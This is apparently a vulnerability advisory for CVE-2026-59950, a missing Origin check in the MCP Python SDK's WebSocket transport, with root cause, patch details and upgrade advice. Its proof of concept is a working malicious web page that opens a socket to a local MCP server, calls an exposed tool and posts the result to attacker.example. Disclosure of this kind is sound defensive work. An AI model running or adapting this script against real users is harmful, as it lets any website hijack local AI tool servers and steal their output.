CVE-2026-59950: mcp WebSocket Transport Missing Origin Validation
The deprecated WebSocket server transport in the MCP Python SDK accepted connections from any web origin without checking Host or Origin headers, letting a malicious web page silently call tools on a
The problem
mcp versions before 1.28.1 shipped a `websocket_server()` transport that called Starlette's `websocket.accept(subprotocol="mcp")` immediately on every incoming upgrade request. No Host or Origin headers were inspected.
The `TransportSecuritySettings` and `TransportSecurityMiddleware` validation that the SSE and Streamable HTTP transports used was never wired into this code path. Any web page the victim visits can therefore open a WebSocket to the server, complete the MCP `initialize` handshake, and invoke tools or read resources without any token or prior session.
Proof of concept
A working proof-of-concept for CVE-2026-59950 in mcp, with the exact payload below.
<!-- Malicious page hosted on https://attacker.example -->
<script>
const ws = new WebSocket('ws://localhost:8765', ['mcp']);
ws.onopen = () => {
// Step 1: initialize the MCP session
ws.send(JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: {
protocolVersion: '2024-11-05',
clientInfo: { name: 'evil', version: '1.0' },
capabilities: {}
}
}));
};
ws.onmessage = (evt) => {
const msg = JSON.parse(evt.data);
if (msg.id === 1) {
// Step 2: list available tools
ws.send(JSON.stringify({
jsonrpc: '2.0',
id: 2,
method: 'tools/list',
params: {}
}));
}
if (msg.id === 2) {
// Step 3: call whatever tool is exposed
const tool = msg.result.tools[0];
ws.send(JSON.stringify({
jsonrpc: '2.0',
id: 3,
method: 'tools/call',
params: { name: tool.name, arguments: {} }
}));
}
if (msg.id === 3) {
// exfiltrate result
fetch('https://attacker.example/collect', {
method: 'POST',
body: JSON.stringify(msg.result)
});
ws.close();
}
};
</script>The root cause (CWE-346, CWE-1385) is that `websocket_server()` accepted the WebSocket handshake unconditionally. Browsers always attach an `Origin` header on cross-origin WebSocket upgrades, but they do not enforce a same-origin policy on the server's response, so the upgrade completes regardless of where the requesting page is hosted.
The patch in commit 777b8d0 (PR #2992) adds a `security_settings: TransportSecuritySettings | None = None` parameter to `websocket_server()` and calls `TransportSecurityMiddleware.validate_request()` against the `Host` and `Origin` headers before any `accept()` call.
A failing validation now closes the connection with HTTP 403 and raises `ValueError("Request validation failed")`. Note that `security_settings` defaults to `None`, so the protection is opt-in: callers must pass an explicit `TransportSecuritySettings` object to benefit.
The fix
Upgrade to mcp 1.28.1 or later (`pip install mcp>=1.28.1`). Upgrading alone does not enable validation because `security_settings` defaults to `None`. Pass an explicit `TransportSecuritySettings(enable_dns_rebinding_protection=True, allowed_hosts=["localhost"], allowed_origins=["https://yourapp.example"])` when constructing the transport.
The preferred long-term fix is to migrate off `websocket_server` entirely: use Streamable HTTP via `FastMCP`, which enables this protection automatically for localhost binds. The WebSocket transport is removed entirely in v2.
Related research
- high · 7.6CVE-2026-52870CVE-2026-52870: mcp (Python SDK) Missing Authorization on Experimental Task Handlers
- high · 7.1CVE-2026-52869CVE-2026-52869: mcp (Python SDK) Session Authorization Bypass
- criticalCVE-2026-54069CVE-2026-54069: SiYuan Unauthenticated Admin API Access via chrome-extension:// Origin Bypass
- high · 7.5CVE-2026-50271CVE-2026-50271: ddtrace Uncontrolled Resource Consumption via W3C Baggage Header Parsing